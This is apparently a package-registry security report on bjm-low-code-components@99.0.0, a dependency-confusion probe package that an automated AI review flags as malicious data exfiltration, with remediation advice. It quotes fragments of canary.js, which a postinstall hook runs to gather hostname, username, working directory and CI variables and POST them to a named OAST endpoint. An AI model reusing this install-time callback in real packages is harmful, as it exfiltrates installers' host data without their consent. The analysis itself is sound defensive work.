registry / Data exfiltration / bjm-low-code-components

bjm-low-code-components

SECURITY POC — dependency confusion validation. DO NOT INSTALL. Engagement ref: <your-ref>

This report shows the evidence for bjm-low-code-components@99.0.0, the only known version.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

Direct source inspection confirms an install-triggered external exfiltration callback. The benign placeholder runtime export does not mitigate the postinstall behavior.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm install / dependency installation

Impact

External recipient receives local hostname, username, working directory, and environment-state metadata.

Mechanism

postinstall host-fingerprint exfiltration over HTTP

Attack narrative

On installation, npm invokes canary.js through postinstall. The script gathers local host identity and execution-context metadata, then sends it by HTTP POST to a fixed external OAST endpoint. The package description identifies this as a dependency-confusion PoC, but it still performs the callback without installer consent.

AI rationale

Direct source inspection confirms an install-triggered external exfiltration callback. The benign placeholder runtime export does not mitigate the postinstall behavior.

Evidence

package.jsoncanary.jsindex.js

Network endpoints1

2pslbvbc3adfni1pbe9xy2b1asgj4cs1.oastify.com

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs `node canary.js` on postinstall.
canary.js collects hostname, username, cwd, CI and NODE_ENV.
canary.js POSTs collected data to an external OAST host during install.
Manifest describes a dependency-confusion validation PoC.

Evidence against

index.js only exports a placeholder object.
No shell execution, file writes, or payload loading found.

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 594 B of source

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node canary.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

canary.jsView file

1const http = require('http'); L2: const data = JSON.stringify({ L3: host: require('os').hostname(), L4: cwd: process.cwd(), L5: user: require('os').userInfo().username, L6: env: { CI: process.env.CI || null, NODE_ENV: process.env.NODE_ENV || null } L7: }); ... L13: }); L14: req.write(data); L15: req.end();

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

canary.jsView on unpkg · L1

1Trigger-reachable chain: scripts.postinstall -> canary.js L1: const http = require('http'); L2: const data = JSON.stringify({ L3: host: require('os').hostname(), L4: cwd: process.cwd(), L5: user: require('os').userInfo().username, L6: env: { CI: process.env.CI || null, NODE_ENV: process.env.NODE_ENV || null } L7: }); ... L13: }); L14: req.write(data); L15: req.end();

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

canary.jsView on unpkg · L1

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

canary.jsView on unpkg · L1

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

canary.jsView on unpkg · L1

1Trigger-reachable credential exfiltration chain: scripts.postinstall -> canary.js L1: const http = require('http'); L2: const data = JSON.stringify({ L3: host: require('os').hostname(), L4: cwd: process.cwd(), L5: user: require('os').userInfo().username, L6: env: { CI: process.env.CI || null, NODE_ENV: process.env.NODE_ENV || null } L7: }); ... L13: }); L14: req.write(data); L15: req.end();

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

canary.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> canary.js const http = require('http'); const data = JSON.stringify({ const req = http.request({ host: '[redacted].oastify.com', // e.g. xxxxx.oast.fun method: 'POST', req.write(data);

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

canary.jsView on unpkg

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node canary.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

canary.jsView file

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

canary.jsView on unpkg · L1

Findings

2 Critical5 High3 Medium1 Low

CriticalCredential Exfiltrationcanary.js

CriticalTrigger Reachable Dangerous Capabilitycanary.js

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationcanary.js

HighSandbox Evasion Gated Capabilitycanary.js

HighTrigger Reachable Credential Exfiltrationcanary.js

HighTrigger Reachable External Post Callbackcanary.js

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

Affected versions and remediation

This report applies to bjm-low-code-components@99.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing bjm-low-code-components@99.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-11 19:00:11.517Z (UTC).

Source advisory published: 2026-08-11 18:50:26.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

99.0.0latestshownMaliciousData ExfiltrationBlockPublishedAug 9, 2026, 12:36 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Source & flagged code

Related packages

Other data exfiltration packages